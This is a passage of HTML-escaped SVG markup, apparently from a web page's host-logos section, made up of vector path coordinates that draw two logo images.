                &lt;path d=&quot;M41.6749 14.9406C41.7667 15.0021 41.7972 15.1252 41.7361 15.2175C41.0019 16.2329 39.7783 16.9098 38.31 16.9098C35.9239 16.9098 34.1191 14.9713 34.1191 12.6021C34.1191 10.2021 35.9239 8.26367 38.31 8.26367C39.7172 8.26367 40.9407 8.90979 41.6749 9.89444C41.7361 9.98674 41.7055 10.1098 41.6137 10.1713L40.4819 10.9713C40.3901 11.0329 40.2984 11.0021 40.2372 10.9406C39.7783 10.356 39.1053 9.98674 38.31 9.98674C36.9029 9.98674 35.8933 11.1559 35.8933 12.6329C35.8933 14.0791 36.9029 15.2483 38.31 15.2483C39.1053 15.2483 39.8395 14.8483 40.2984 14.2329C40.3595 14.1406 40.4819 14.1406 40.5431 14.2021L41.6749 14.9406Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M66.2083 8.35547H72.1423C72.2346 8.35547 72.3262 8.44777 72.3262 8.54007V9.77089C72.3262 9.86319 72.2346 9.95549 72.1423 9.95549H70.0623V16.5709C70.0623 16.6632 69.9707 16.7555 69.8791 16.7555H68.4716C68.3799 16.7555 68.2883 16.6632 68.2883 16.5709V9.98624H66.2083C66.116 9.98624 66.0244 9.89393 66.0244 9.80163V8.57088C65.9941 8.44777 66.0857 8.35547 66.2083 8.35547Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M76.4248 14.3252C76.5171 14.3252 76.5778 14.3867 76.6087 14.479C76.7004 14.9406 77.1289 15.3406 77.8323 15.3406C78.5358 15.3406 79.0559 15.0021 79.0559 14.4483C79.0559 14.0791 78.903 13.7406 78.0466 13.4944L77.0366 13.2175C75.2012 12.6329 74.865 11.556 74.865 10.7867C74.865 9.27907 76.1499 8.26367 77.7407 8.26367C79.3005 8.26367 80.4628 9.15595 80.5551 10.6329C80.5551 10.756 80.4628 10.8483 80.3711 10.8483H78.9643C78.8726 10.8483 78.8113 10.7867 78.7804 10.6944C78.7197 10.2329 78.3525 9.89444 77.7097 9.89444C77.0979 9.89444 76.6391 10.2329 76.6391 10.7252C76.6391 10.9406 76.7307 11.3406 77.5264 11.5867L78.5358 11.8944C80.5551 12.479 80.861 13.6175 80.83 14.4483C80.7996 16.1098 79.3005 16.9098 77.8323 16.9098C76.0886 16.9098 74.8954 15.9252 74.8037 14.5098C74.8037 14.3867 74.8953 14.2944 74.9876 14.2944H76.4248V14.3252Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M101.173 2.57066C101.173 1.24758 100.102 0.170658 98.7869 0.170658C97.9305 0.170658 97.7162 0.724502 96.8902 0.724502C96.4314 0.724502 96.0338 0.47835 95.8196 0.0783508C95.7583 -0.0447263 95.575 -0.013957 95.544 0.10912C95.5137 0.262966 95.5137 0.416812 95.5137 0.570658C95.5137 2.01681 96.676 3.18605 98.0835 3.18605C98.5423 3.18605 99.0011 3.06296 99.3683 2.84758V3.06296C99.3683 3.95527 100.102 4.69373 100.989 4.69373C101.051 4.69373 101.111 4.69373 101.204 4.69373V2.57066H101.173Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path fill-rule=&quot;evenodd&quot; clip-rule=&quot;evenodd&quot; d=&quot;M103.405 8.51006C103.803 8.75616 104.17 9.03313 104.446 9.3716C104.843 9.83311 105.057 10.3869 104.966 10.9408C104.966 12.2331 104.14 13.3716 102.885 14.0793C101.999 14.5716 100.897 14.8793 99.6733 14.8793C98.6944 14.8793 97.7463 14.6947 96.9513 14.3254C97.9296 15.1869 99.3984 15.7101 101.02 15.7101C101.447 15.7101 101.846 15.6793 102.243 15.6177C101.846 16.2946 101.325 16.8793 100.714 17.3716C100.714 17.4076 100.724 17.4331 100.733 17.4542C100.739 17.4691 100.744 17.4819 100.744 17.4946C101.111 18.8485 101.05 23.6485 100.438 23.8023C99.8876 23.9562 97.685 20.2639 97.1345 18.7869H96.737C96.0639 18.7869 95.4521 18.6946 94.8707 18.51C94.8403 18.4946 94.8094 18.4869 94.779 18.4793C94.7487 18.4716 94.7177 18.4639 94.6874 18.4485C92.1486 17.5869 90.2822 15.1562 90.2822 12.2639C90.2822 11.8023 90.3435 11.3408 90.4352 10.8485C90.4655 10.8177 90.4655 10.7869 90.4655 10.7562V10.7254C90.4655 10.71 90.4732 10.6946 90.481 10.6793C90.4887 10.6639 90.4965 10.6485 90.4965 10.6331C90.4965 10.5971 90.5068 10.5716 90.5158 10.5505C90.5217 10.5355 90.5268 10.5228 90.5268 10.51C90.5578 10.4793 90.5578 10.4485 90.5578 10.4177C90.5578 10.4024 90.5655 10.3869 90.5726 10.3716C90.5804 10.3562 90.5881 10.3408 90.5881 10.3254C90.5881 10.3101 90.5959 10.2946 90.6036 10.2793C90.6114 10.2639 90.6185 10.2485 90.6185 10.2331C90.6494 10.2023 90.6494 10.2023 90.6494 10.1716C90.6494 10.0985 90.6688 10.0448 90.6914 9.97977C90.6978 9.96258 90.7043 9.94468 90.7107 9.92541C91.2612 8.20234 92.3622 6.44849 93.6471 5.00234C93.598 5.12656 93.5683 5.25078 93.5425 5.3588C93.5367 5.38456 93.5309 5.40941 93.5251 5.43311C93.3722 6.69462 95.1153 7.98693 97.4101 8.29465C97.7463 8.32539 98.0826 8.3562 98.3885 8.3562C100.01 8.3562 101.356 7.80232 101.754 6.94079C101.759 6.92892 101.765 6.91685 101.771 6.90453C102.241 5.89499 103.402 3.40234 105.578 3.40234C106.933 3.40234 107.851 3.88552 108.602 4.28102C109.122 4.55503 109.562 4.78696 110.013 4.78696C110.594 4.78696 110.9 4.57157 111.022 3.86388C111.363 5.68209 110.142 5.82564 108.753 5.98914C107.767 6.10509 106.696 6.23108 106.036 6.9716C105.718 7.30838 105.523 7.70373 105.332 8.0922C105.157 8.44902 104.985 8.80007 104.721 9.09462C104.323 8.84853 103.895 8.66386 103.405 8.51006ZM93.0663 13.3716C94.0756 13.6177 95.1153 12.8177 95.4211 11.5562C95.727 10.3254 95.1462 9.12544 94.1369 8.84853C93.1269 8.60237 92.0873 9.40234 91.7814 10.6639C91.4755 11.9254 92.0563 13.1254 93.0663 13.3716Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M94.7177 18.4172C93.831 18.3556 92.974 18.1094 92.2402 17.7402C92.4235 19.2479 92.7907 20.7556 93.1579 20.8172C93.4941 20.8787 94.2899 19.7402 94.932 18.4787L94.7177 18.4172Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M90.7105 9.92478C90.8325 8.66323 91.2307 7.34011 91.8728 6.10938C90.4659 6.10938 89.334 7.24781 89.334 8.66323C89.334 9.55551 89.7928 10.3556 90.4659 10.7863C90.5266 10.5093 90.6189 10.2017 90.7105 9.92478Z&quot; fill=&quot;white&quot;/&gt;
            &lt;/g&gt;
            &lt;defs&gt;
                &lt;clipPath id=&quot;clip0_6604_6298&quot;&gt;
                    &lt;rect width=&quot;111&quot; height=&quot;24&quot; fill=&quot;white&quot; transform=&quot;translate(0.5)&quot;/&gt;
                &lt;/clipPath&gt;
            &lt;/defs&gt;
        &lt;/svg&gt;
        &lt;svg width=&quot;114&quot; height=&quot;20&quot; viewBox=&quot;0 0 114 20&quot; fill=&quot;none&quot; xmlns=&quot;http://www.w3.org/2000/svg&quot; class=&quot;a-fade-up block-hosts-logos__image&quot;&gt;
            &lt;g clip-path=&quot;url(#clip0_6604_6313)&quot;&gt;
                &lt;path d=&quot;M31.3129 12.3775C31.3526 13.1348 31.7103 13.839 32.2932 14.3306C32.8893 14.8222 33.6577 15.0614 34.6115 15.0614C35.4461 15.0614 36.1217 14.8753 36.6251 14.5166C37.1285 14.1844 37.4199 13.6131 37.3934 13.0152C37.4199 12.6034 37.261 12.2181 36.9695 11.9258C36.6383 11.6335 36.2542 11.4209 35.8302 11.3146C35.1679 11.1286 34.479 10.9824 33.8034 10.8628C33.0218 10.73 32.2667 10.5307 31.5249 10.2517C30.9155 10.0125 30.3856 9.61391 29.9882 9.08245C29.5907 8.56428 29.392 7.87339 29.392 7.02306C29.3788 6.27902 29.5907 5.54826 30.0014 4.9238C30.4253 4.29934 31.0215 3.79445 31.7236 3.48886C33.3662 2.79797 35.2341 2.81125 36.8635 3.52872C37.5921 3.86088 38.2148 4.37905 38.6784 5.03009C39.1288 5.68113 39.3673 6.43845 39.3938 7.22235H37.1815C37.1285 6.55803 36.7841 5.93357 36.2674 5.52169C35.7375 5.09652 35.0619 4.87065 34.2406 4.87065C33.4457 4.87065 32.8098 5.04338 32.3329 5.38882C31.8693 5.72099 31.5911 6.26573 31.6176 6.85033C31.6043 7.24893 31.7501 7.63423 32.0415 7.91325C32.3594 8.19226 32.7436 8.39156 33.1675 8.49785C33.6312 8.63072 34.3068 8.77687 35.1811 8.92302C35.9627 9.05588 36.7311 9.25518 37.4597 9.54748C38.0691 9.78663 38.6122 10.1852 39.0229 10.7034C39.4203 11.2083 39.6322 11.8859 39.6322 12.7229C39.6455 13.4936 39.4203 14.2509 38.9831 14.8886C38.5327 15.5397 37.9101 16.0578 37.1947 16.39C36.3734 16.762 35.4858 16.948 34.585 16.9215C33.6047 16.948 32.6244 16.7354 31.7368 16.3369C30.9552 15.9781 30.2928 15.4201 29.8159 14.7026C29.3523 13.9852 29.1006 13.1614 29.1006 12.3111L31.3129 12.3775Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M41.5928 9.14884C41.977 8.39151 42.5731 7.76705 43.315 7.35517C44.0833 6.91672 44.9577 6.70413 45.8452 6.71742C46.7328 6.70413 47.6071 6.90343 48.3887 7.30202C49.1173 7.68733 49.7135 8.25865 50.1241 8.96283C50.5613 9.73344 50.7865 10.5971 50.7733 11.4873C50.7733 11.753 50.7468 12.0187 50.7203 12.2844H43.1958V12.404C43.2488 13.2809 43.527 13.9718 44.0171 14.4767C44.5073 14.9816 45.1696 15.234 45.991 15.234C46.5738 15.2606 47.1435 15.0879 47.6336 14.769C48.084 14.4634 48.3887 13.9984 48.508 13.4669H50.6143C50.4553 14.4501 49.9254 15.3536 49.1438 15.9781C48.349 16.6291 47.3422 16.9613 46.1499 16.9613C45.2094 16.9878 44.2688 16.762 43.4342 16.3235C42.6791 15.9116 42.0565 15.2872 41.6458 14.5298C41.2087 13.7061 40.9967 12.776 41.01 11.846C40.957 10.9159 41.1689 9.98588 41.5928 9.14884ZM48.6272 10.7432C48.5742 10.0789 48.2563 9.46771 47.7661 9.02926C47.2495 8.60409 46.5871 8.39151 45.9247 8.41808C45.2756 8.4048 44.6397 8.63067 44.1363 9.05583C43.6329 9.481 43.3282 10.0922 43.2753 10.7432H48.6272Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M57.9406 6.82422V8.8039H57C56.1257 8.8039 55.5031 9.08291 55.1057 9.65423C54.7215 10.2255 54.5228 10.943 54.5228 11.8199V16.8422H52.4297V6.82422H54.2976L54.536 8.32559C54.8142 7.87385 55.1851 7.48854 55.6488 7.22281C56.0992 6.95708 56.7086 6.82422 57.4769 6.82422H57.9406Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M58.6025 6.82422H60.8678L63.6233 14.5702L66.339 6.82422H68.5646L64.8818 16.8422H62.3118L58.6025 6.82422Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M69.5059 9.14884C69.8901 8.39151 70.4862 7.76705 71.2281 7.35517C71.9964 6.91672 72.8708 6.70413 73.7583 6.71742C74.6459 6.70413 75.5202 6.90343 76.3018 7.30202C77.0304 7.68733 77.6266 8.25865 78.0372 8.96283C78.4744 9.73344 78.6996 10.5971 78.6863 11.4873C78.6863 11.753 78.6599 12.0187 78.6334 12.2844H71.1089V12.404C71.1618 13.2809 71.44 13.9718 71.9302 14.4767C72.4203 14.9816 73.0827 15.234 73.904 15.234C74.4869 15.2606 75.0566 15.0879 75.5467 14.769C75.9971 14.4634 76.3018 13.9984 76.421 13.4669H78.5274C78.3684 14.4501 77.8385 15.3536 77.0569 15.9781C76.2621 16.6291 75.2553 16.9613 74.063 16.9613C73.1225 16.9878 72.1819 16.762 71.3473 16.3235C70.5922 15.9116 69.9696 15.2872 69.5589 14.5298C69.1217 13.7061 68.9098 12.776 68.923 11.846C68.8701 10.9159 69.082 9.98588 69.5059 9.14884ZM76.5403 10.7432C76.4873 10.0789 76.1693 9.46771 75.6792 9.02926C75.1625 8.60409 74.5002 8.39151 73.8378 8.41808C73.1887 8.4048 72.5528 8.63067 72.0494 9.05583C71.546 9.481 71.2413 10.0922 71.1883 10.7432H76.5403Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M88.118 7.32976C88.8334 7.74164 89.4162 8.35282 89.8004 9.09686C90.2243 9.94719 90.423 10.8905 90.4098 11.8339C90.423 12.7639 90.2243 13.6807 89.8004 14.5044C89.4162 15.2485 88.8466 15.8862 88.118 16.3114C87.3761 16.7498 86.5416 16.9757 85.6805 16.9624C85.0181 16.9757 84.3557 16.8296 83.7464 16.5373C83.2165 16.2715 82.7661 15.8729 82.4216 15.3946L82.1699 16.8429H80.3418V3.14453H82.4481V8.31296C83.243 7.25004 84.316 6.7053 85.6805 6.7053C86.5416 6.69201 87.3761 6.90459 88.118 7.32976ZM87.4556 14.252C87.9988 13.6275 88.2637 12.8303 88.2637 11.8339C88.2637 10.8507 87.9988 10.0535 87.4556 9.4423C86.3826 8.2731 84.5545 8.19338 83.3887 9.28287C83.3357 9.33601 83.2827 9.38916 83.2297 9.4423C82.6998 10.0535 82.4349 10.8507 82.4349 11.8339C82.4349 12.8303 82.6998 13.6275 83.2297 14.2653C83.7464 14.8897 84.528 15.2352 85.3361 15.2086C86.1441 15.2086 86.9257 14.8632 87.4556 14.252Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M94.1592 16.3231C93.4041 15.9112 92.7683 15.2867 92.3708 14.5294C91.9337 13.7057 91.7217 12.7756 91.735 11.8323C91.7217 10.9022 91.9337 9.98546 92.3708 9.1617C92.7815 8.39109 93.4041 7.76662 94.1592 7.35475C95.8284 6.49113 97.8155 6.49113 99.4847 7.35475C100.24 7.76662 100.862 8.40437 101.273 9.1617C101.71 9.98546 101.922 10.9022 101.909 11.8323C101.922 12.7623 101.71 13.6924 101.273 14.5294C100.862 15.2867 100.24 15.9112 99.4847 16.3231C97.8155 17.1734 95.8284 17.1734 94.1592 16.3231ZM98.9548 14.2371C99.4979 13.6127 99.7629 12.8155 99.7629 11.8456C99.7629 10.8757 99.4979 10.0652 98.9548 9.454C97.8552 8.27151 96.0139 8.20508 94.8348 9.30785C94.7818 9.361 94.7421 9.40086 94.6891 9.454C94.1592 10.0785 93.8943 10.8757 93.8943 11.8456C93.8943 12.8288 94.1592 13.6259 94.6891 14.2371C95.7887 15.4196 97.63 15.486 98.809 14.3833C98.862 14.3301 98.915 14.277 98.9548 14.2371Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M105.684 3.14453H103.578V16.8429H105.684V3.14453Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M108.744 8.68502H107.009V6.82492H108.744V4.02148H110.877V6.82492H113.275V8.68502H110.877V13.9066C110.877 14.2919 110.957 14.5709 111.115 14.7436C111.274 14.9031 111.539 14.9828 111.91 14.9828H113.5V16.8429H111.473C110.519 16.8429 109.83 16.617 109.393 16.1786C108.956 15.7401 108.744 15.0492 108.744 14.1192V8.68502Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M8.47474 1.2297C8.48798 1.2297 8.48798 1.21641 8.48798 1.21641L8.47474 1.20313C8.47474 1.20313 8.44824 1.20312 8.44824 1.21641C8.44824 1.2297 8.46149 1.2297 8.47474 1.2297Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M6.09052 2.05433C6.11702 2.05433 6.13027 2.04104 6.13027 2.01447C6.13027 1.9879 6.11702 1.97461 6.09052 1.97461C6.06403 1.97461 6.05078 1.9879 6.05078 2.01447C6.05078 2.04104 6.06403 2.05433 6.09052 2.05433Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M6.88524 2.08013C6.92498 2.08013 6.95148 2.05356 6.95148 2.0137C6.95148 1.97384 6.92498 1.94727 6.88524 1.94727C6.8455 1.94727 6.819 1.97384 6.819 2.0137C6.80576 2.05356 6.8455 2.08013 6.88524 2.08013Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M7.67965 2.10788C7.73263 2.10788 7.77238 2.06803 7.77238 2.01488C7.77238 1.96173 7.73263 1.92188 7.67965 1.92188C7.62666 1.92188 7.58691 1.96173 7.58691 2.01488C7.58691 2.06803 7.62666 2.10788 7.67965 2.10788Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M8.47512 2.12079C8.52811 2.12079 8.5811 2.08093 8.5811 2.0145C8.5811 1.94806 8.54136 1.9082 8.47512 1.9082C8.42213 1.9082 8.36914 1.94806 8.36914 2.0145C8.36914 2.06764 8.40888 2.12079 8.47512 2.12079Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M4.50068 2.8512C4.51393 2.8512 4.54042 2.83792 4.54042 2.81134C4.54042 2.78477 4.52717 2.77148 4.50068 2.77148C4.47418 2.77148 4.46094 2.78477 4.46094 2.81134C4.46094 2.82463 4.47418 2.8512 4.50068 2.8512Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M5.2953 2.89186C5.33505 2.89186 5.37479 2.852 5.37479 2.81214C5.37479 2.77228 5.33505 2.73242 5.2953 2.73242C5.25556 2.73242 5.21582 2.77228 5.21582 2.81214C5.21582 2.852 5.24231 2.89186 5.2953 2.89186Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M6.08993 2.93056C6.15617 2.93056 6.20916 2.87742 6.20916 2.81098C6.20916 2.74455 6.15617 2.69141 6.08993 2.69141C6.02369 2.69141 5.9707 2.74455 5.9707 2.81098C5.9707 2.87742 6.02369 2.93056 6.08993 2.93056Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M6.88553 2.97122C6.96501 2.97122 7.0445 2.90479 7.0445 2.81178C7.0445 2.73206 6.97826 2.65234 6.88553 2.65234C6.80605 2.65234 6.72656 2.71878 6.72656 2.81178C6.72656 2.8915 6.7928 2.97122 6.88553 2.97122Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M7.6796 2.99741C7.77233 2.99741 7.85182 2.91769 7.85182 2.8114C7.85182 2.71839 7.77234 2.63867 7.66636 2.63867C7.57363 2.63867 7.49414 2.71839 7.49414 2.82468C7.49414 2.9044 7.57362 2.99741 7.6796 2.99741Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M8.47508 3.01187C8.58106 3.01187 8.67379 2.91887 8.67379 2.81258C8.67379 2.70629 8.58106 2.61328 8.47508 2.61328C8.3691 2.61328 8.27637 2.70629 8.27637 2.81258C8.27637 2.91887 8.3691 3.01187 8.47508 3.01187Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M3.69264 3.66293C3.71913 3.66293 3.74563 3.63636 3.74563 3.60979C3.74563 3.58321 3.71913 3.55664 3.69264 3.55664C3.66614 3.55664 3.63965 3.58321 3.63965 3.60979C3.6529 3.63636 3.66614 3.66293 3.69264 3.66293Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M4.50051 3.71454C4.5535 3.71454 4.60649 3.66139 4.60649 3.60825C4.60649 3.5551 4.5535 3.50195 4.50051 3.50195C4.44752 3.50195 4.39453 3.5551 4.39453 3.60825C4.39453 3.66139 4.43427 3.71454 4.50051 3.71454Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M5.29569 3.76809C5.38842 3.76809 5.45466 3.70166 5.45466 3.60866C5.45466 3.51565 5.38842 3.44922 5.29569 3.44922C5.20296 3.44922 5.13672 3.51565 5.13672 3.60866C5.13672 3.70166 5.20296 3.76809 5.29569 3.76809Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M6.0906 3.80875C6.19658 3.80875 6.28931 3.71574 6.28931 3.60945C6.28931 3.50316 6.19658 3.41016 6.0906 3.41016C5.98462 3.41016 5.89189 3.50316 5.89189 3.60945C5.87864 3.71574 5.97137 3.80875 6.0906 3.80875Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M6.88494 3.84745C7.01741 3.84745 7.12339 3.74116 7.12339 3.6083C7.12339 3.47543 7.01741 3.36914 6.88494 3.36914C6.75246 3.36914 6.64648 3.47543 6.64648 3.6083C6.64648 3.74116 6.75246 3.84745 6.88494 3.84745Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M7.67999 3.87521C7.82571 3.87521 7.94493 3.75563 7.94493 3.60948C7.94493 3.46333 7.82571 3.34375 7.67999 3.34375C7.53427 3.34375 7.41504 3.46333 7.41504 3.60948C7.41504 3.75563 7.53427 3.87521 7.67999 3.87521Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M8.4754 3.88811C8.63437 3.88811 8.75359 3.75524 8.75359 3.60909C8.75359 3.46294 8.62112 3.33008 8.4754 3.33008C8.32968 3.33008 8.1972 3.46294 8.1972 3.60909C8.18396 3.76853 8.31643 3.88811 8.4754 3.88811Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.91139 4.45981C2.93788 4.45981 2.96438 4.43323 2.96438 4.40666C2.96438 4.38009 2.93788 4.35352 2.91139 4.35352C2.88489 4.35352 2.8584 4.38009 2.8584 4.40666C2.8584 4.43323 2.87164 4.45981 2.91139 4.45981Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M3.70614 4.52627C3.77238 4.52627 3.82537 4.47312 3.82537 4.40669C3.82537 4.34026 3.77238 4.28711 3.70614 4.28711C3.6399 4.28711 3.58691 4.34026 3.58691 4.40669C3.58691 4.47312 3.6399 4.52627 3.70614 4.52627Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M4.50081 4.57787C4.59354 4.57787 4.67302 4.49815 4.67302 4.40515C4.67302 4.31214 4.59354 4.23242 4.50081 4.23242C4.40808 4.23242 4.32859 4.31214 4.32859 4.40515C4.31535 4.49815 4.39483 4.57787 4.50081 4.57787Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M5.29509 4.64433C5.42757 4.64433 5.53355 4.53804 5.53355 4.40517C5.53355 4.27231 5.42757 4.16602 5.29509 4.16602C5.16262 4.16602 5.05664 4.27231 5.05664 4.40517C5.05664 4.53804 5.16262 4.64433 5.29509 4.64433Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M6.09063 4.68498C6.2496 4.68498 6.36883 4.55212 6.36883 4.40597C6.36883 4.25982 6.23635 4.12695 6.09063 4.12695C5.93166 4.12695 5.81244 4.25982 5.81244 4.40597C5.79919 4.56541 5.93166 4.68498 6.09063 4.68498Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M6.88532 4.72564C7.05753 4.72564 7.20326 4.57949 7.20326 4.40677C7.20326 4.23404 7.05753 4.08789 6.88532 4.08789C6.7131 4.08789 6.56738 4.23404 6.56738 4.40677C6.56738 4.57949 6.69986 4.72564 6.88532 4.72564Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M7.67994 4.76434C7.87865 4.76434 8.03762 4.60491 8.03762 4.40561C8.03762 4.20631 7.87865 4.04688 7.67994 4.04688C7.48123 4.04688 7.32227 4.20631 7.32227 4.40561C7.32227 4.60491 7.48123 4.76434 7.67994 4.76434Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.11591 5.24378C2.12916 5.24378 2.15566 5.2305 2.15566 5.20392C2.15566 5.19064 2.14241 5.16406 2.11591 5.16406C2.10267 5.16406 2.07617 5.17735 2.07617 5.20392C2.07617 5.21721 2.08942 5.24378 2.11591 5.24378Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.91067 5.31024C2.96366 5.31024 3.01665 5.25709 3.01665 5.20395C3.01665 5.1508 2.96366 5.09766 2.91067 5.09766C2.85768 5.09766 2.80469 5.1508 2.80469 5.20395C2.80469 5.25709 2.84443 5.31024 2.91067 5.31024Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M3.70589 5.3767C3.79862 5.3767 3.8781 5.29698 3.8781 5.20397C3.8781 5.11097 3.79862 5.03125 3.70589 5.03125C3.61315 5.03125 3.53367 5.11097 3.53367 5.20397C3.52042 5.29698 3.59991 5.3767 3.70589 5.3767Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M4.50118 5.44316C4.63365 5.44316 4.73963 5.33686 4.73963 5.204C4.73963 5.07114 4.63365 4.96484 4.50118 4.96484C4.36871 4.96484 4.26273 5.07114 4.26273 5.204C4.24948 5.33686 4.36871 5.44316 4.50118 5.44316Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M5.2959 5.50961C5.46812 5.50961 5.60059 5.37675 5.60059 5.20403C5.60059 5.0313 5.46812 4.89844 5.2959 4.89844C5.12368 4.89844 4.99121 5.0313 4.99121 5.20403C4.99121 5.37675 5.12368 5.50961 5.2959 5.50961Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M6.0901 5.56122C6.28881 5.56122 6.44778 5.40178 6.44778 5.20248C6.44778 5.00319 6.28881 4.84375 6.0901 4.84375C5.89139 4.84375 5.73242 5.00319 5.73242 5.20248C5.73242 5.40178 5.89139 5.56122 6.0901 5.56122Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.11623 6.07936C2.15597 6.07936 2.19572 6.0395 2.19572 5.99964C2.19572 5.95978 2.15597 5.91992 2.11623 5.91992C2.07649 5.91992 2.03675 5.95978 2.03675 5.99964C2.0235 6.0395 2.06324 6.07936 2.11623 6.07936Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.91092 6.16067C3.00365 6.16067 3.06989 6.09424 3.06989 6.00123C3.06989 5.90823 3.00365 5.8418 2.91092 5.8418C2.81819 5.8418 2.75195 5.90823 2.75195 6.00123C2.75195 6.09424 2.81819 6.16067 2.91092 6.16067Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M3.7061 6.23962C3.82532 6.23962 3.91806 6.14661 3.91806 6.02704C3.91806 5.90746 3.82532 5.81445 3.7061 5.81445C3.58687 5.81445 3.49414 5.90746 3.49414 6.02704C3.49414 6.13333 3.58687 6.23962 3.7061 6.23962Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M4.50098 6.30649C4.67319 6.30649 4.80567 6.17362 4.80567 6.0009C4.80567 5.82818 4.67319 5.69531 4.50098 5.69531C4.32876 5.69531 4.19629 5.82818 4.19629 6.0009C4.19629 6.17362 4.32876 6.30649 4.50098 6.30649Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M1.32099 6.83753C1.34749 6.83753 1.36073 6.82425 1.36073 6.79767C1.36073 6.7711 1.34749 6.75781 1.32099 6.75781C1.2945 6.75781 1.28125 6.7711 1.28125 6.79767C1.28125 6.82425 1.2945 6.83753 1.32099 6.83753Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.1163 6.91689C2.18253 6.91689 2.23552 6.86374 2.23552 6.79731C2.23552 6.73088 2.18253 6.67773 2.1163 6.67773C2.05006 6.67773 1.99707 6.73088 1.99707 6.79731C1.99707 6.86374 2.05006 6.91689 2.1163 6.91689Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.91091 6.99625C3.01689 6.99625 3.10962 6.90324 3.10962 6.79695C3.10962 6.69066 3.01689 6.59766 2.91091 6.59766C2.80493 6.59766 2.7122 6.69066 2.7122 6.79695C2.69895 6.90324 2.79168 6.99625 2.91091 6.99625Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M3.70593 7.07561C3.8649 7.07561 3.98412 6.94274 3.98412 6.79659C3.98412 6.63716 3.85165 6.51758 3.70593 6.51758C3.54696 6.51758 3.42773 6.65044 3.42773 6.79659C3.42773 6.94274 3.54696 7.07561 3.70593 7.07561Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M4.50026 7.15692C4.69897 7.15692 4.85794 6.99748 4.85794 6.79819C4.85794 6.59889 4.69897 6.43945 4.50026 6.43945C4.30155 6.43945 4.14258 6.59889 4.14258 6.79819C4.14258 6.99748 4.30155 7.15692 4.50026 7.15692Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M1.32112 7.66216C1.36086 7.66216 1.38736 7.63559 1.38736 7.59573C1.38736 7.55587 1.36086 7.5293 1.32112 7.5293C1.28138 7.5293 1.25488 7.55587 1.25488 7.59573C1.25488 7.63559 1.28138 7.66216 1.32112 7.66216Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.116 7.75442C2.19548 7.75442 2.27497 7.68799 2.27497 7.59498C2.27497 7.51527 2.20873 7.43555 2.116 7.43555C2.03652 7.43555 1.95703 7.50198 1.95703 7.59498C1.95703 7.6747 2.02327 7.75442 2.116 7.75442Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.9113 7.83378C3.04378 7.83378 3.14976 7.72749 3.14976 7.59463C3.14976 7.46176 3.04378 7.35547 2.9113 7.35547C2.77883 7.35547 2.67285 7.46176 2.67285 7.59463C2.67285 7.72749 2.77883 7.83378 2.9113 7.83378Z&quot; fill=&quot;white&quot;/&gt;
